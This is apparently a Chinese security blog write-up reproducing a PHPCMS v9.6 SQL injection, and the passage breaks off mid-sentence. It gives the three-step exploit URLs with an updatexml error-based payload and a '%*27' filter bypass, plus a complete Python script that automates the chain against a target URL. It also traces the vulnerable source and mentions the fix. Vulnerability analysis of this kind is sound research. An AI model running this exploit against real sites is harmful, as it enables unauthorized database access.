环境搭建
参考PHPCMS_V9.2任意文件上传getshell漏洞分析
漏洞复现
此漏洞利用过程可能稍有复杂,我们可分为以下三个步骤:
-
Step1:GET请求访问
/index.php?m=wap&c=index&siteid=1
-
获取
set-cookie
中的_siteid
结尾的 cookie 字段的值 -
Step2:1. POST请求访问
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26modelid%3D1%26catid%3D1%26f%3DTao
-
上面访问的url通过URL解码为:
index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&modelid=1&catid=1&f=Tao
(报错注入,语句可替换) -
2. 将
Step1
获取_siteid
结尾的 cookie 字段的值,赋值给userid_flash
变量,以post数据提交 -
获取
set-cookie
中的_json
结尾字段的值 -
Step3:访问
/index.php?m=content&c=down&a_k=
step2获取的_json结尾字段的值 -
eg:
/index.php?m=content&c=down&a_k=0e72z-2m8OJyw8injqvbY0xJtR5l5UtndXiFZmxcvK9kHkxN1COlnfyINF38Opx6UcdqlABV2gc-8RuG90sS6e31lJn2mxnkJPnUaQDCTAs0gEsKMnL5CHxl-o1hYg2TWaL5blo9RC8ya0yLkSc5NgzCqfTSgZCAlndhgum-OFk1XGARihPaYUs
Step1:
Step2:
Step3:
老样子,贴个小脚本!
'''
Author: Tao
version: python3
# 本脚本执行返回user()信息
'''
import requests
import sys
# from urllib import parse
import re
def WAP_SQL(url):
# step1
url_one = url + '/index.php?m=wap&c=index&siteid=1'
step1 = requests.get(url_one)
userid_flash = step1.headers['Set-Cookie'].split('=')[1]
# step2
payload = '%*27 and updatexml(1,concat(1,(user())),1)%23&modelid=1&catid=1&m=1&f=Tao'
url_two = url + r"/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id={}".format(requests.utils.quote(payload)) # 执行SQL语句,此处可修改
step2 = requests.post(url_two, data={'userid_flash': userid_flash})
for cookie in step2.cookies:
if '_att_json' in cookie.name:
att_json = cookie.value
# step3
url_three = url + '/index.php?m=content&c=down&a_k={}'.format(att_json)
step3 = requests.get(url_three)
res = re.findall(r"MySQL Error : XPATH syntax error: '(.*?)'",step3.text)
return res
if __name__ == '__main__':
url = sys.argv[1]
result_sql = WAP_SQL(url)
print(result_sql)
执行效果如下:
脚本在对Stpe2那里进行了与手工不一样的处理,原因就是按照手工的方法进行编写的脚本会报错,具体是什么问题以及原因看文尾的分析。>值得一看!!!
漏洞复现
为了更好的理解这个漏洞产生的原因,我们采取的方式是从后往前分析。
根据step3请求的URL地址,可以定位到phpcms\modules\content\down.php
文件init
函数:
上面代码通过GET获取到了$a_k
的值,然后将$a_k
带入sys_auth
函数进行解密(DECODE
),至于是如何加密的,我们无需关心,但是我们要知道的是$a_k
的值是从拿来的,也就是Step2构造的语句是哪里进行加密处理的,还有就是加密用的key。
执行到17行,此时$a_k={"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&modelid=1&catid=1&f=Tao","filename":""}
,这里还需要注意parse_str
这个函数
通过官方给的例子可知,parse_str
会将传入的值根据&
进行分割。然后解析注册变量。并且会对内容进行URL解码。
为了更好的理解上面这段话,看下图:
由图可知,当执行parse_str
函数,他会进行以下步骤:
-
1.根据&符解析
$a_k
的值,注册变量 -
2.将解析后变量的值进行URL解码
继续执行,到26进行了SQL语句执行,跟进一下
上图可知,执行的SQL语句如下:
SELECT * FROM `phpcmsv96`.`v9_news_data` WHERE `id` = '' and updatexml(1,concat(1,(user())),1)#' LIMIT 1
我们将语句放到数据库执行一下。
正常返回了,但去掉#
,报错,如下图:
这就是为什么Step2处,构造的SQL报错语句后面添加#
进行注释
接下来分析Step2,我们需要弄明白,$a_k
的值是怎么得到的,以及为什么POST请求数据中需要添加userid_flash
字段和对应的值是怎么来的。
根据Step2的请求,我们定位到/phpcms/modules/attachment/attachments.php
中swfupload_json
函数。
由于swfupload_json
方法是attachments
类中的一个方法,我们看看类中的构造函数。(不知道你有没有发现什么)
类中的构造函数初始化会判断(21-23行)是否有$this->userid
,那么这个$this->userid
是怎么来的呢,17行对它进行了赋值
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
上面的这一行代码,通过三元运算符判断$_SESSION['userid']
是否有值,我们第一步利用中,肯定是没有值的,然后执行(param::get_cookie('_userid')
,然后我们cookie也没有_userid
,所以最终$this->userid = sys_auth($_POST['userid_flash'],'DECODE'));
sys_auth($_POST['userid_flash'],'DECODE'))
就是对我们step2中userid_flash
的值进行解密,这里跟Step3解密是同一个函数,走下来,$this->userid=1
,就过了21行的判断。这也就是为什么POST请求数据中添加userid_flash
字段。
接着分析swfupload_json
方法
这里通过GET请求获取了src
的值(报错注入语句)。并且经过了safe_replace
函数的处理。跟进一下此还能输,看看如何处理的。
这个函数的功能就是对一些特殊字符进行了过滤,当经过这个函数,未作处理$string
值为&id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&modelid=1&catid=1&f=Tao
。
走完以后,它将我们传入的%*27
变成了%27
。(上上图进行过滤的)这也就是为什么要加*
号
继续执行,到244行由于cookie中没有att_json
,所以跳转至250行进行设置cookie。
可以发现,这里cookie加密也是用的sys_auth
函数(跟Step3解密用的同一个函数),这里的key未指定,我们跟进一下这个函数。
图中可以得知,当key
为空时,使用pc_base::load_config('system','auth_key')
。跟Step3使用的一致。
接着分析Step1
前面提到为什么加userid_flash
参数,$this->userid = sys_auth($_POST['userid_flash'],'DECODE'));
,为了过是否登录的判断。而且这里传入userid_flash
的值必须是合法的cookie,也就是通过set_cookie
函数设置的cookie,而又因set_cookie
函数设置cookie会通过sys_auth
加密。这样的解密才有效。
因此我们需要找到从哪里无添加即可获取cookie,这里利用的是wap模块的接口。在phpcms/modules/wap/index.php
上图代码处通过GET获取siteid
的值,然后为其设置cookie。
整个漏洞的利用流程如下:
漏洞修复
对$a_k
进行了过滤,且将$id
进行了类型转换
前面提到问题的分析
不知道你们有没有发现,手工利用跟脚本实现的时候不太一样(见下图)
正常来说,因为手工利用的时候直接访问/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26modelid%3D1%26catid%3D1%26f%3DTao
,那么对应脚本应该如下写:
url_two = url + "/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26modelid%3D1%26catid%3D1%26f%3DTao"# 执行SQL语句,此处可修改
但当我们这么写,执行的时候,会报错,报错如下:
刚开始我还以为是URL写错了,后面又测了一遍。发现手工可以,但是带到脚本就不行。由于Step2是本脚中最重要的环节,我就很确切的就把问题定位到了这里。最后实在没办法了(想搞懂为什么会这样),被requests这个库逼到绝路了(脚本这个错排了好久的